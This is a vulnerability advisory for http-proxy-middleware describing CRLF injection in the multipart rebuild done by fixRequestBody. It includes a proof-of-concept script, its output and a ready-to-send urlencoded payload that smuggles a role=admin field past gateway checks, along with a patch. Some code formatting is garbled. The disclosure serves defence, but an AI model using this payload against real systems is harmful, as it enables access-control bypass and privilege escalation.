Summary fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:

js // dist/handlers/fix-request-body.js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.boundary=(.)$/, '$1'); let str = ''; for (const [key, value] of Object.entries(data)) { str += --${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n; } }

A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.

Preconditions All three must hold; this narrows real-world exposure and is the basis for AC:H: 1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input. 2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. 3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.

Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.

Impact When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend: - Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices). - File-part injection inject a filename="..." part into the upstream multipart stream.

Proof of Concept

js // npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs) import { fixRequestBody } from 'http-proxy-middleware';

// req.body as a NON-multipart parser (express.urlencoded / express.json) yields it. // The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF: const req = { readableLength: 0, body: { user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--' }};

// Minimal stand-in for the outgoing proxy request; capture what gets written. const out = []; const proxyReq = { h: { 'content-type': 'multipart/form-data; boundary=BB' }, getHeader(n){ return this.h[n.toLowerCase()]; }, setHeader(n,v){ this.h[n.toLowerCase()] = v; }, write(d){ out.push(Buffer.from(d)); }, };

fixRequestBody(proxyReq, req); // library rebuilds the multipart body console.log(Buffer.concat(out).toString());

Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:

--BB Content-Disposition: form-data; name="user"

alice --BB Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys admin --BB--

req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--

Remediation Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:

js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.boundary=(.)$/, '$1'); const bad = /[\r\n]/; let str = ''; for (const [key, value] of Object.entries(data)) { const v = String(value); if (bad.test(key) || bad.test(v)) { throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value'); } str += --${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n; } } (Reject is preferable to silent stripping, to avoid masking malicious input.)